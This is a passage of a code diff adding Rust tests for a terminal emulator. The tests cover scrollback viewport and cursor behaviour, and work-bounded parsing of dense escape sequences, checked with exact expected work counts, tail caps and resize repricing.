+#[test]
+fn scrolling_forwards_at_the_live_edge_reports_no_movement() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    assert!(!shared.scroll(-1));
+    assert!(!shared.scroll(-1_000));
+    assert_eq!(shared.lock().display_offset(), 0);
+}
+
+#[test]
+fn snapping_to_the_bottom_moves_only_when_scrolled_back() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    assert!(
+        !shared.scroll_to_bottom(),
+        "already live: a keystroke must not cost a repaint"
+    );
+
+    assert!(shared.scroll(4));
+    assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap");
+    assert_eq!(shared.lock().display_offset(), 0);
+
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["L07", "L08", "L09", "L10"]
+    );
+}
+
+/// Why the snap has to exist at all: output does **not** bring the viewport
+/// back. The grid pins a scrolled-back viewport and piles new lines above it
+/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is
+/// the behaviour you want while reading -- and means the echo of a keystroke
+/// would otherwise land on a screen the user cannot see.
+#[test]
+fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() {
+    let (shared, _actions, mut renderer) = scrolled_terminal(10);
+    assert!(shared.scroll(3));
+
+    shared.feed_fully(b"\r\nL11\r\nL12");
+
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["L04", "L05", "L06", "L07"],
+        "the reader stays put while new output accumulates below"
+    );
+
+    // And the snap still returns to the *new* live edge, not the old one.
+    assert!(shared.scroll_to_bottom());
+    let after = shared.render(&mut renderer);
+    assert!(after.full, "a viewport move is a repaint");
+    assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]);
+}
+
+/// **The silent-corruption case.**
+///
+/// The renderer's `Encoder` holds one content hash per screen row. Scrolling
+/// changes what every row shows without changing a single cell, so those
+/// hashes are stale the instant the viewport moves. The engine's protection is
+/// that `scroll_display` marks the grid fully damaged and the embedder
+/// republishes via `snapshot`, which does not consume damage -- so the
+/// full-damage flag survives for the renderer's own next `render()`, which is
+/// what clears its hashes.
+///
+/// The discriminating part is the row content. Row 0 after the scroll holds
+/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived,
+/// the row would still ship, because the hashes differ. So the test scrolls to
+/// a position where the *pre-scroll* text reappears at the *same screen row*:
+/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4
+/// restores exactly the rows the hashes describe. A renderer whose hashes were
+/// never cleared suppresses the whole screen there, and the user is left
+/// looking at history that has scrolled away.
+#[test]
+fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() {
+    let (shared, _actions, mut renderer) = scrolled_terminal(10);
+
+    // The embedder's scroll path: move, then republish by snapshot.
+    assert!(shared.scroll(4));
+    let mut scroll_encoder = Encoder::new();
+    let republished = shared.snapshot(&mut scroll_encoder);
+    assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]);
+
+    // The renderer thread's own next capture must still be told to repaint.
+    let after_scroll = shared.render(&mut renderer);
+    assert!(
+        after_scroll.full,
+        "the scroll's snapshot must not have eaten the full-damage flag"
+    );
+    assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]);
+
+    // Now back to where the renderer's *original* hashes were taken. Every row
+    // matches a hash it already holds, so only a cleared cache ships them.
+    assert!(shared.scroll(-4));
+    let mut back_encoder = Encoder::new();
+    let _ = shared.snapshot(&mut back_encoder);
+    let after_return = shared.render(&mut renderer);
+    assert!(after_return.full);
+    assert_eq!(
+        screen(&after_return),
+        vec!["L07", "L08", "L09", "L10"],
+        "returning to a previously-hashed viewport must still repaint it"
+    );
+}
+
+/// A row that genuinely changes while the viewport is scrolled back must
+/// still reach the renderer. This is the same dedup hazard from the other
+/// side: content changing under a stale hash rather than a stale hash under
+/// unchanged content.
+#[test]
+fn a_row_that_changes_while_scrolled_back_still_ships() {
+    let (shared, _actions, mut renderer) = scrolled_terminal(10);
+    assert!(shared.scroll(2));
+    let mut scroll_encoder = Encoder::new();
+    let _ = shared.snapshot(&mut scroll_encoder);
+    let _ = shared.render(&mut renderer);
+
+    // Rewrite the top line of the active area, which is screen row 2 while
+    // scrolled back two.
+    shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K");
+
+    let frame = shared.render(&mut renderer);
+    let changed = rows_by_line(&frame)
+        .into_iter()
+        .find(|(_, text)| text == "CHANGED");
+    assert_eq!(
+        changed,
+        Some((2, "CHANGED".to_string())),
+        "the rewritten active row must ship, at its scrolled screen position; got {:?}",
+        rows_by_line(&frame)
+    );
+}
+
+/// The cursor plane travels with the viewport, because the renderer paints it
+/// at a screen row and the grid stores it at an active-area row.
+#[test]
+fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    let mut encoder = Encoder::new();
+    let live = shared.snapshot(&mut encoder);
+    assert_eq!(live.cursor.line, 3, "cursor sits on the last active row");
+    assert!(live.cursor.visible);
+
+    assert!(shared.scroll(2));
+    let mut scrolled_encoder = Encoder::new();
+    let scrolled = shared.snapshot(&mut scrolled_encoder);
+    assert_eq!(
+        scrolled.cursor.line, 3,
+        "row 3 + 2 is off a four-row screen, so it clamps to the last row"
+    );
+    assert!(
+        !scrolled.cursor.visible,
+        "scrolled off the bottom, so it must not be painted on an unrelated line"
+    );
+}
+
+/// The clamp above is not the whole story: a cursor that is merely pushed
+/// *down* -- still on screen -- must report its new row, not its old one. A
+/// capture that ignored the offset entirely would pass the clamp test above
+/// (row 3 is where the cursor already was) and fail this one.
+///
+/// Parking the cursor on the top row with `ESC[H` is what leaves it room to
+/// move: at the live edge it is on row 0, and scrolling back two puts it on
+/// row 2 of a four-row screen, still visible.
+#[test]
+fn a_cursor_still_on_screen_reports_its_scrolled_row() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    shared.feed_fully(b"\x1b[H");
+
+    let mut live_encoder = Encoder::new();
+    let live = shared.snapshot(&mut live_encoder);
+    assert_eq!(live.cursor.line, 0, "parked on the top row");
+    assert!(live.cursor.visible);
+
+    assert!(shared.scroll(2));
+    let mut encoder = Encoder::new();
+    let frame = shared.snapshot(&mut encoder);
+    assert_eq!(
+        frame.cursor.line, 2,
+        "the caret follows the row it is written on down the screen"
+    );
+    assert!(
+        frame.cursor.visible,
+        "still inside the viewport, so still painted"
+    );
+}
+
+#[test]
+fn the_cursor_becomes_visible_again_on_the_way_back() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    assert!(shared.scroll(3));
+    assert!(shared.scroll_to_bottom());
+
+    let mut encoder = Encoder::new();
+    let frame = shared.snapshot(&mut encoder);
+    assert_eq!(frame.cursor.line, 3);
+    assert!(frame.cursor.visible);
+}
+
+/// The alternate screen has no scrollback by construction: `Term::new` builds
+/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or
+/// `less` must be a clamped no-op, leaving the application's own scrolling to
+/// the application. Asserted rather than assumed -- a viewport that drifted
+/// here would show the primary screen's history behind a full-screen app.
+#[test]
+fn the_alternate_screen_has_no_scrollback_to_reach() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+
+    shared.feed_fully(b"\x1b[?1049h");
+    shared.feed_fully(b"ALT");
+
+    assert!(!shared.scroll(1), "no history exists on the alt screen");
+    assert!(!shared.scroll(1_000));
+    assert_eq!(shared.lock().display_offset(), 0);
+
+    // And the primary screen's position is undisturbed on the way back.
+    shared.feed_fully(b"\x1b[?1049l");
+    assert!(shared.scroll(2));
+    assert_eq!(shared.lock().display_offset(), 2);
+}
+
+/// A terminal configured with no history cannot scroll at all. The guard is
+/// upstream's clamp against `history_size()`, and this pins it: without it the
+/// offset would advance and capture would index above the grid.
+#[test]
+fn a_terminal_without_scrollback_never_moves() {
+    let (shared, _actions) = terminal(20, 4, 0);
+    shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf");
+
+    assert!(!shared.scroll(1));
+    assert!(!shared.scroll(1_000));
+    assert_eq!(shared.lock().display_offset(), 0);
+
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["c", "d", "e", "f"]
+    );
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs b/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs
new file mode 100644
index 0000000000..e027bfbc1f
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/slicing.rs
@@ -0,0 +1,882 @@
+//! The work-denominated slicing seam: what bounds one lock hold, what bounds
+//! the queue behind it, and what proves the work was actually done.
+//!
+//! **This is half a suite.** The adversarial resize and overflow cases live
+//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two
+//! files are one set of contracts. A mutation check scoped with
+//! `--test slicing` covers 20 of 76 package tests and can report a confident
+//! pass while the killing fixture sits in the sibling file. Dropping the
+//! scrollback debt does exactly that, then dies under the package.
+//!
+//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
+//!
+//! Every assertion here is an **exact** expected value, never a `> 0`. A fix
+//! that bounds the lock by *dropping* work instead of deferring it reports a
+//! beautiful latency and a perfect screen-content receipt -- DECALN fills the
+//! grid with `E`, and the second DECALN overwrites the first, so grid content
+//! saturates after one of ten thousand. `completed_units == expected` is the
+//! only predicate that separates "deferred the work" from "skipped it", and
+//! `> 0` is satisfied by a seam that executed exactly one unit.
+
+use buzz_terminal::fences::{
+    max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP,
+    WORK_BUDGET,
+};
+use buzz_terminal::{Size, Terminal};
+
+const COLUMNS: usize = 200;
+const LINES: usize = 50;
+const CELLS: u64 = (COLUMNS * LINES) as u64;
+
+fn terminal() -> Terminal {
+    Terminal::new(
+        Size {
+            columns: COLUMNS,
+            screen_lines: LINES,
+            scrollback: 100,
+        },
+        Fences::ALL,
+    )
+    .0
+}
+
+/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail.
+///
+/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a
+/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a
+/// property of the byte depth, not of the grid, so a small grid exercises the
+/// same thresholds in seconds instead of minutes -- but it does change what
+/// is being tested, so it is named rather than reused silently: these arms
+/// test the *depth* predicates, and the arms above test the work bound.
+fn tiny() -> Terminal {
+    Terminal::new(
+        Size {
+            columns: 10,
+            screen_lines: 2,
+            scrollback: 10,
+        },
+        Fences::ALL,
+    )
+    .0
+}
+
+/// Feed until the tail reaches its cap, or give up.
+///
+/// Bounded on purpose. A test that loops until a predicate goes true hangs
+/// forever when the predicate is what broke, which turns a killed mutant into
+/// a wedged CI job -- and a suite that hangs instead of failing is a suite
+/// nobody can bisect.
+fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool {
+    for _ in 0..10_000 {
+        if term.tail_full() {
+            return true;
+        }
+        term.feed(payload);
+    }
+    false
+}
+
+/// Pump to completion, counting acquisitions. A drain that needed no second
+/// call returns 1.
+fn pump(term: &mut Terminal, bytes: &[u8]) -> usize {
+    let mut calls = 1;
+    let mut more = term.feed(bytes);
+    while more {
+        more = term.drain();
+        calls += 1;
+    }
+    calls
+}
+
+/// One `feed` may not spend an unbounded amount of work, however much the
+/// stream asks for.
+///
+/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the
+/// unbounded hold this whole seam exists to prevent. Deliberately asserts on
+/// *work* rather than wall time -- a time assertion is a flake on a loaded
+/// machine, and the work bound is the thing the code actually promises.
+#[test]
+fn one_feed_spends_at_most_one_budget_plus_a_slice() {
+    let mut term = terminal();
+    let decalns = 10_000;
+    term.feed(&b"\x1b#8".repeat(decalns));
+
+    let spent = term.stats().completed_work;
+    // Two terms, both irreducible: the budget is checked between slices, and
+    // a slice is sized so it holds at most one budget of the densest payload;
+    // and the callback that crosses the line cannot be preempted.
+    let ceiling = max_drain_work(COLUMNS, LINES, 100);
+    assert!(
+        spent <= ceiling,
+        "one feed spent {spent} work, over budget+overshoot ({ceiling})",
+    );
+    assert!(
+        term.pending_bytes() > 0,
+        "10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \
+         is pending the seam ran the whole payload in one hold",
+        decalns as u64 * CELLS,
+    );
+}
+
+/// Every deferred byte is eventually executed -- exactly once, and all of it.
+///
+/// Kills: bounding the hold by dropping the remainder instead of keeping it
+/// (`self.pending.clear()` in place of the tail), which passes any latency
+/// gate and any grid-content check. The unit count is the only witness.
+#[test]
+fn a_deferred_tail_executes_every_unit_exactly_once() {
+    let mut term = terminal();
+    let decalns = 10_000;
+
+    let calls = pump(&mut term, &b"\x1b#8".repeat(decalns));
+
+    assert!(
+        calls > 1,
+        "a payload this dense must have needed a second call"
+    );
+    assert_eq!(
+        term.stats().completed_units,
+        decalns as u64,
+        "every DECALN must execute exactly once: no drops, no double-parse",
+    );
+    assert_eq!(term.stats().completed_work, decalns as u64 * CELLS);
+    assert_eq!(term.pending_bytes(), 0, "nothing may be left behind");
+}
+
+/// The tail drains without another `feed` -- a reader with nothing new to
+/// read must still be able to retire what it already accepted.
+///
+/// Kills: draining only from `feed`, which strands the tail whenever the
+/// child goes quiet (`cat bigfile` then no more output: the last screenful
+/// never appears).
+#[test]
+fn a_tail_drains_without_a_second_feed() {
+    let mut term = terminal();
+    let decalns = 2_000;
+    assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
+
+    // Never feed again. Only drain.
+    while term.drain() {}
+
+    assert_eq!(term.stats().completed_units, decalns as u64);
+    assert_eq!(term.pending_bytes(), 0);
+}
+
+/// A slice is cut only at a byte boundary the parser has already passed, so
+/// an escape sequence split across two slices still executes once.
+///
+/// Kills: cutting mid-sequence and restarting the parser, or double-feeding
+/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of
+/// neither, so at this length hundreds of sequences straddle a cut.
+#[test]
+fn a_sequence_split_across_slices_executes_exactly_once() {
+    let mut term = terminal();
+    let decalns = 3_000;
+    pump(&mut term, &b"\x1b#8".repeat(decalns));
+    assert_eq!(
+        term.stats().completed_units,
+        decalns as u64,
+        "a straddling sequence was dropped or executed twice",
+    );
+
+    // Same payload, delivered one byte per feed: every sequence straddles.
+    let mut byte_at_a_time = terminal();
+    for chunk in b"\x1b#8".repeat(decalns).chunks(1) {
+        byte_at_a_time.feed(chunk);
+    }
+    while byte_at_a_time.drain() {}
+    assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64);
+}
+
+/// The tail is a bound on the queue, and the breach counter is loud.
+///
+/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying
+/// so is indistinguishable from a reader that is obeying backpressure, which
+/// is exactly the confusion that hides an unbounded queue.
+#[test]
+fn an_overrun_tail_is_capped_and_counted() {
+    let mut term = tiny();
+    assert!(!term.tail_full(), "a fresh terminal is not full");
+    assert!(term.tail_drained(), "a fresh terminal is drained");
+    assert_eq!(term.stats().tail_breaches, 0);
+
+    // A reader that ignores `tail_full` and keeps shovelling.
+    assert!(
+        fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
+        "the tail never reached its cap: the queue is not bounded",
+    );
+
+    assert!(term.pending_bytes() >= TAIL_CAP);
+    assert!(
+        term.stats().tail_breaches > 0,
+        "reaching the cap must be counted, not absorbed silently",
+    );
+    assert!(!term.tail_drained(), "a full tail is not a drained tail");
+}
+
+/// Resume is hysteretic: `tail_drained` does not go true the instant the tail
+/// falls one byte below the cap.
+///
+/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between
+/// paused and reading once per slice at exactly the moment it is most loaded.
+#[test]
+fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() {
+    let mut term = tiny();
+    assert!(
+        fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
+        "expected a full tail"
+    );
+
+    // Drain until the reader is allowed to resume, watching for a window in
+    // which it is neither full nor drained -- that gap *is* the hysteresis.
+    let mut saw_gap = false;
+    for _ in 0..1_000_000 {
+        if term.tail_drained() {
+            break;
+        }
+        assert!(term.drain() || term.tail_drained());
+        if !term.tail_full() && !term.tail_drained() {
+            saw_gap = true;
+        }
+    }
+    assert!(
+        term.tail_drained(),
+        "the tail never drained to the resume mark"
+    );
+    assert!(
+        saw_gap,
+        "no depth was both non-full and non-drained: the two thresholds are \
+         the same value and the reader will flap",
+    );
+}
+
+/// Close must not be held behind parser work.
+///
+/// Kills: draining the tail on close instead of discarding it. Measured
+/// elsewhere in this project: teardown that finishes parsing before killing
+/// the child costs ~600 ms on macOS, and no byte of that work reaches a
+/// renderer -- publication is detached before shutdown drains.
+#[test]
+fn close_may_abandon_the_tail_and_says_how_much_it_dropped() {
+    let mut term = terminal();
+    term.feed(&b"\x1b#8".repeat(10_000));
+    let stranded = term.pending_bytes();
+    assert!(stranded > 0);
+
+    let abandoned = term.abandon_tail();
+
+    assert_eq!(abandoned, stranded);
+    assert_eq!(term.pending_bytes(), 0);
+    assert_eq!(
+        term.stats().abandoned_bytes,
+        stranded as u64,
+        "dropped bytes must be counted: this is lossy by design and silent \
+         loss is how it stops being by design",
+    );
+    assert!(
+        term.tail_drained(),
+        "an abandoned tail cannot strand a reader"
+    );
+}
+
+/// The grid the weights are priced against tracks resizes.
+///
+/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells)
+/// charge for as long as it is wrong -- and it is wrong in the *unsafe*
+/// direction whenever the window grows, which is the common case.
+#[test]
+fn a_resize_reprices_the_same_escape() {
+    let mut small = terminal();
+    small.feed_fully(b"\x1b#8");
+    let before = small.stats().completed_work;
+    assert_eq!(before, CELLS);
+
+    small.resize(Size {
+        columns: COLUMNS * 2,
+        screen_lines: LINES,
+        scrollback: 100,
+    });
+    small.reset_stats();
+    small.feed_fully(b"\x1b#8");
+
+    assert_eq!(
+        small.stats().completed_work,
+        CELLS * 2,
+        "the same escape on a grid twice as wide must cost twice as much",
+    );
+    assert_eq!(small.stats().completed_units, 1, "still one callback");
+}
+
+/// A resize *between* slices of one payload reprices the remainder.
+///
+/// Kills: caching the slice size or the grid across a drain. The tail
+/// outlives the call that accepted it, so a resize can land in the middle of
+/// it -- the untouched remainder must be charged at the new grid, not the one
+/// that was current when the bytes arrived.
+#[test]
+fn a_resize_mid_tail_reprices_the_remainder() {
+    let mut term = terminal();
+    let decalns = 4_000;
+    assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
+    let done_before = term.stats().completed_units;
+    let work_before = term.stats().completed_work;
+    assert_eq!(work_before, done_before * CELLS);
+
+    term.resize(Size {
+        columns: COLUMNS * 2,
+        screen_lines: LINES,
+        scrollback: 100,
+    });
+    while term.drain() {}
+
+    let after = term.stats();
+    assert_eq!(after.completed_units, decalns as u64, "no unit may be lost");
+    assert_eq!(
+        after.completed_work,
+        work_before + (decalns as u64 - done_before) * CELLS * 2,
+        "the remainder must be priced at the resized grid",
+    );
+}
+
+/// Slice size is derived from the worst atom the grid admits, because a fixed
+/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both
+/// grids plus scrollback.
+///
+/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from
+/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes
+/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant
+/// serves both.
+#[test]
+fn slice_size_shrinks_as_the_worst_atom_grows() {
+    let small = slice_bytes_remaining(80, 24, 0, 0, 0);
+    let large = slice_bytes_remaining(1600, 50, 0, 0, 0);
+    assert!(
+        small > large,
+        "a bigger grid makes each byte more expensive, so slices must shrink: \
+         80x24 -> {small}, 1600x50 -> {large}",
+    );
+    assert!(
+        slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0),
+        "scrollback makes RIS more expensive, so it may only shrink slices",
+    );
+    for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] {
+        assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0)));
+        // One slice holds at most N/2 of the densest atom. Either that fits a
+        // budget, or the floor binds -- and then the overshoot is stated by
+        // `max_drain_work` rather than being an accident.
+        let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0);
+        let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback);
+        assert!(
+            worst <= WORK_BUDGET || width == 1,
+            "{columns}x{lines}: a slice buys {worst} work against a \
+             {WORK_BUDGET} budget without the MIN clamp to excuse it",
+        );
+    }
+}
+
+/// Work released by an F1 abort is counted.
+///
+/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a
+/// runaway synchronized update by flushing its buffer through the handler --
+/// those callbacks run, cost time, and hold the lock, so a scheduler that
+/// does not see them is blind on exactly the path the fence created. The
+/// escapes here are `ESC#8` so the flushed work is unmistakable against the
+/// buffered bytes.
+#[test]
+fn work_flushed_by_a_sync_abort_is_counted() {
+    let (mut term, _a) = Terminal::new(
+        Size {
+            columns: 80,
+            screen_lines: 24,
+            scrollback: 0,
+        },
+        Fences::SYNC_ONLY,
+    );
+    let cells = 80 * 24;
+
+    // Open a synchronized update and never close it: F1 must abort it once
+    // the buffer passes SYNC_CAP, flushing everything buffered so far.
+    term.feed_fully(b"\x1b[?2026h");
+    let decalns = SYNC_CAP / 3 + 1000;
+    term.feed_fully(&b"\x1b#8".repeat(decalns));
+
+    let stats = term.stats();
+    assert!(stats.sync_aborts > 0, "the fence must have fired");
+    // Every DECALN fed must be accounted for. The comparison is against the
+    // *input*, not against the counters' own internal consistency: an
+    // uncounted flush leaves both counters small together, so checking them
+    // against each other would pass over the mutant.
+    // Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that
+    // opened the update, and the `unset_private_mode` that `stop_sync` emits
+    // per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`).
+    let bookkeeping = 1 + stats.sync_aborts;
+    assert_eq!(
+        stats.completed_units,
+        decalns as u64 + bookkeeping,
+        "every DECALN must be counted, including the ones released by the \
+         abort, plus {bookkeeping} mode callbacks",
+    );
+    assert_eq!(
+        stats.completed_work,
+        decalns as u64 * cells + bookkeeping,
+        "and their work: {decalns} DECALNs at {cells} cells each",
+    );
+}
+
+/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in
+/// one call.
+///
+/// Kills: a budget so small, or a slice so small, that normal output pays the
+/// deferral machinery. This is the companion to the DECALN arm -- a seam that
+/// bounds the hold by making everything slow has not fixed anything.
+#[test]
+fn ordinary_output_needs_no_second_call() {
+    let mut term = terminal();
+    let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n";
+    let screenful = line.repeat(LINES);
+
+    assert!(
+        !term.feed(&screenful),
+        "a screenful of ordinary output must retire in one call, not defer",
+    );
+    assert_eq!(term.pending_bytes(), 0);
+    assert_eq!(term.stats().tail_breaches, 0);
+}
+
+/// The work bound holds on the **first drain of a fresh feeder**, for the
+/// densest payload upstream offers.
+///
+/// Kills: sizing slices from observed density. A learned bound is not a bound
+/// on the first slice -- a cold feeder has seen nothing, so it hands the
+/// parser a wide slice, and a wide slice of `ESC c` spends many budgets
+/// before anything checks. This is the arm that a warm-up-based scheduler
+/// passes on the second call and fails on the first, so it asserts on a
+/// terminal that has never parsed a byte.
+#[test]
+fn a_cold_feeder_bounds_its_very_first_slice() {
+    for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] {
+        for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] {
+            let (mut term, _a) = Terminal::new(
+                Size {
+                    columns,
+                    screen_lines: lines,
+                    scrollback: 100,
+                },
+                Fences::ALL,
+            );
+            // Never fed before: `density`-style state, if any existed, is at
+            // its initial value.
+            term.feed(&atom.repeat(5_000));
+
+            let spent = term.stats().completed_work;
+            let ceiling = max_drain_work(columns, lines, 100);
+            assert!(
+                spent <= ceiling,
+                "{label} at {columns}x{lines}: first drain of a cold feeder \
+                 spent {spent} work, over budget+overshoot ({ceiling})",
+            );
+            assert!(term.pending_bytes() > 0, "{label}: expected a tail");
+        }
+    }
+}
+
+/// Exact price of every escape whose cost the grid can amplify.
+///
+/// One table, exact `completed_work` per escape, at two widths so a weight
+/// that dropped its `columns` factor cannot hide. Kills, one row each:
+///
+/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N
+///   rises (the swap loop runs `columns - end` times), so N=1 is the worst
+///   case and pricing by N is backwards.
+/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so
+///   `ESC[65535X` on an 80-column grid touches 80 cells, not 65535.
+/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are
+///   reset, and a row reset is O(columns).
+/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis.
+///
+/// Exact equality, never a bound: a `<=` assertion passes for every weight
+/// smaller than the truth, which is the direction that hurts.
+#[test]
+fn every_amplifiable_escape_is_priced_exactly() {
+    for (columns, lines) in [(80usize, 24usize), (400, 50)] {
+        let cells = (columns * lines) as u64;
+        let c = columns as u64;
+        let cases: &[(&str, String, u64)] = &[
+            ("decaln", "\u{1b}#8".into(), cells),
+            ("clear_screen", "\u{1b}[2J".into(), cells),
+            ("clear_line", "\u{1b}[2K".into(), c),
+            ("erase_chars N=1", "\u{1b}[1X".into(), 1),
+            ("erase_chars N=20", "\u{1b}[20X".into(), 20),
+            ("erase_chars N=huge", "\u{1b}[65535X".into(), c),
+            ("delete_chars N=1", "\u{1b}[1P".into(), c),
+            ("delete_chars N=huge", "\u{1b}[65535P".into(), c),
+            ("insert_blank N=1", "\u{1b}[1@".into(), c),
+            ("scroll_up N=1", "\u{1b}[1S".into(), c),
+            ("scroll_up N=5", "\u{1b}[5S".into(), 5 * c),
+            ("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c),
+            ("scroll_down N=1", "\u{1b}[1T".into(), c),
+            ("scroll_down N=4", "\u{1b}[4T".into(), 4 * c),
+            (
+                "scroll_down N=huge",
+                "\u{1b}[65535T".into(),
+                lines as u64 * c,
+            ),
+            ("delete_lines N=3", "\u{1b}[3M".into(), 3 * c),
+            (
+                "delete_lines N=huge",
+                "\u{1b}[65535M".into(),
+                lines as u64 * c,
+            ),
+            ("insert_lines N=1", "\u{1b}[1L".into(), c),
+            ("insert_lines N=6", "\u{1b}[6L".into(), 6 * c),
+            (
+                "insert_lines N=huge",
+                "\u{1b}[65535L".into(),
+                lines as u64 * c,
+            ),
+            ("put_tab N=1", "\t".into(), c),
+            ("fwd_tabs N=1", "\u{1b}[1I".into(), c),
+            ("fwd_tabs N=huge", "\u{1b}[65535I".into(), c),
+            ("insert_blank N=huge", "\u{1b}[65535@".into(), c),
+            ("clear_line ESC[0K", "\u{1b}[0K".into(), c),
+            ("clear_line ESC[1K", "\u{1b}[1K".into(), c),
+            ("clear_screen ESC[0J", "\u{1b}[0J".into(), cells),
+            ("clear_screen ESC[1J", "\u{1b}[1J".into(), cells),
+            ("sgr", "\u{1b}[m".into(), 1),
+            ("goto", "\u{1b}[1;1H".into(), 1),
+        ];
+        for (label, seq, expected) in cases {
+            let (mut term, _a) = Terminal::new(
+                Size {
+                    columns,
+                    screen_lines: lines,
+                    scrollback: 0,
+                },
+                Fences::ALL,
+            );
+            // Home first so nothing scrolls, then measure only the escape.
+            term.feed_fully(b"\x1b[1;1H");
+            term.reset_stats();
+            term.feed_fully(seq.as_bytes());
+
+            assert_eq!(term.stats().completed_units, 1, "{label}: one callback");
+            assert_eq!(
+                term.stats().completed_work,
+                *expected,
+                "{label} at {columns}x{lines} priced wrong",
+            );
+        }
+    }
+}
+
+/// RIS is priced with its history axis, not just its cells.
+///
+/// Kills: charging `cells`, or dropping the history term.
+///
+/// On the alt-screen arm, honestly labelled: the active-`history_size()`
+/// mispricing it was written against is **unrepresentable in this design**,
+/// not merely untested. `Counting` holds `scrollback` as a scalar copied at
+/// construction and has no path to a live grid, so there is no way to write
+/// the mutant. The arm is kept as a regression witness -- if a `Term`
+/// reference is ever wired into the wrapper it becomes load-bearing the same
+/// day -- and both arms are evaluated before either can report, so the
+/// primary cannot short-circuit the alt.
+#[test]
+fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() {
+    let (columns, lines) = (80usize, 24usize);
+    let cells = (columns * lines) as u64;
+    let mut observed = vec![];
+    for scrollback in [0usize, 100, 10_000] {
+        for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] {
+            let (mut term, _a) = Terminal::new(
+                Size {
+                    columns,
+                    screen_lines: lines,
+                    scrollback,
+                },
+                Fences::ALL,
+            );
+            term.feed_fully(prefix.as_bytes());
+            term.reset_stats();
+            term.feed_fully(b"\x1bc");
+            observed.push((label, scrollback, term.stats().completed_work));
+        }
+    }
+    // One comparison over the whole vector, not a loop of comparisons.
+    // Collecting first stops an arm from being *skipped*; asserting the
+    // vectors is what stops a failure from being *truncated* to the first
+    // mismatch. Otherwise the alt-screen receipt still never prints, which
+    // was the point of collecting.
+    let expected: Vec<_> = observed
+        .iter()
+        .map(|&(label, scrollback, _)| {
+            (label, scrollback, 2 * cells + (scrollback * columns) as u64)
+        })
+        .collect();
+    assert_eq!(
+        observed, expected,
+        "RIS must be priced on configured depth, identically on both grids",
+    );
+}
+
+/// CBT is charged for exactly the cells it scans -- an equality, in both
+/// directions.
+///
+/// Kills: delegating `move_backward_tabs` verbatim, and deleting the
+/// fixed-point break. With tabstops cleared and the cursor at the right
+/// margin, upstream never advances the cursor, so its `col == 0` exit is
+/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is
+/// 8 bytes for 82 ms at 1600 columns.
+///
+/// Two traps this had to be written around, both of which I walked into
+/// first:
+///
